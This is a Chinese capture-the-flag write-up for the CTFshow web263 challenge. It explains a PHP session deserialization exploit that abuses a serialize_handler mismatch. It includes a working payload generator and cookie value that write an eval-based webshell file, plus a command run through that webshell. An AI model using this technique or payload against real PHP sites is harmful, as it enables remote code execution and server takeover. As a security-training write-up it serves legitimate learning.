CTFshow 反序列化 web263
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
也沒有什么別的信息,掃一下目錄,下載www.zip拿到源碼
思路
知識點:php_binary 鍵名的長度對應的ascii字符+鍵名+經過serialize()函數序列化后的值
php 鍵名+豎線(|)+經過serialize()函數處理過的值
php_serialize 經過serialize()函數處理過的值,會將鍵名和值當作一個數組序列化
先找幾個關鍵點
index.php
$_SESSION['limti']鍵名寫錯了,應該是limit,所以永遠不成立,我們可以通過$_SESSION['limit']=base64_decode($_COOKIE['limit'])來控制session的值
session_start();//超過5次禁止登陸if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陸失敗次數超過限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}在check.php中我們發現了require_once 'inc/inc.php';,進入inc.php
發現在User類的魔術方法中可以寫入文件,雖然沒有給讓我們進行反序列化的代碼,不過ini_set('session.serialize_handler', 'php');,把session.serialize_handler設置為了php,和index.php不一致,可以利用它來反序列化.
php . ini 中默認 session.serialize_handler 為 php_serialize,而 index.php 中將其設置為 php ,這個差異就導致了 sesssion 反序列化問題。
ini_set('session.serialize_handler', 'php'); session_start(); class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));} }(盜用下Y1ng師傅的圖)
php_serialize
php
index.php頁面session.serialize_handler為php_serialize,存儲在里面的值是經過序列化了的,check.php和inc/inc.php的session.serialize_handler為php,而且用了session_start(),可以讀取session文件進行反序列化操作
正常來說在index.php頁面存儲的session不能正常在check.php和inc/inc.php進行反序列化,但是如果在屬性的值中加入|的話 ,在check.php和inc/inc.php頁面反序列化的時候|前面的會被看做鍵名,會對|后面的進行反序列化
在本地構造一下,可以通過base64編碼后在index.php頁面傳入cookie中的limit,讓序列化的結果以php_serialize的方式存儲進去
<?php class User{public $username='1.php';public $password = '<?php echo 123;eval($_POST["Kradress"]);?>';// public $status;// function setStatus($s){// $this->status=$s;// }// function __destruct(){// file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));// } }//fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czo0MjoiPD9waHAgZWNobyAxMjM7ZXZhbCgkX1BPU1RbIktyYWRyZXNzIl0pOz8%2BIjt9 echo urlencode(base64_encode("|".serialize(new User)));然后訪問check.php或者inc/inc.php,執行session_start()來讀取session文件來反序列化,然后當前目錄就會生成log-1.php文件,訪問回顯123,說明我們的代碼成功寫入,就可以直接getshell了
題解
<?php class User{public $username='1.php';public $password = '<?php echo 123;eval($_POST["Kradress"]);?>';// public $status;// function setStatus($s){// $this->status=$s;// }// function __destruct(){// file_put_contents("log-".$this->username, "使用".$this->password."登陸".($this->status?"成功":"失敗")."----".date_create()->format('Y-m-d H:i:s'));// } }echo urlencode(base64_encode("|".serialize(new User))); //Cookie:limit=fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czo0MjoiPD9waHAgZWNobyAxMjM7ZXZhbCgkX1BPU1RbIktyYWRyZXNzIl0pOz8%2BIjt9 //post:Kradress=?><?=`tac f*`;總結
其實還可以在check.php和inc/inc.php頁面上傳PHP_SESSION_UPLOAD_PROGRESS來解的,PHP_SESSION_UPLOAD_PROGRESS存入session的時候默認以php_serialize的方式,通過把上傳文件的filename的值改為| +序列化,然后再check.php和inc/inc.php頁面執行session_start也可以反序列化,如果clean up開著的話可以用條件競爭
不過我自己在做Y1ng師傅給的題目的時候發現后面拼接上了一個"tmp_name",導致反序列化失敗,具體還不知道原因
總結
以上是生活随笔為你收集整理的CTFshow 反序列化 web263的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow 反序列化 web259
- 下一篇: CTFshow 反序列化 web262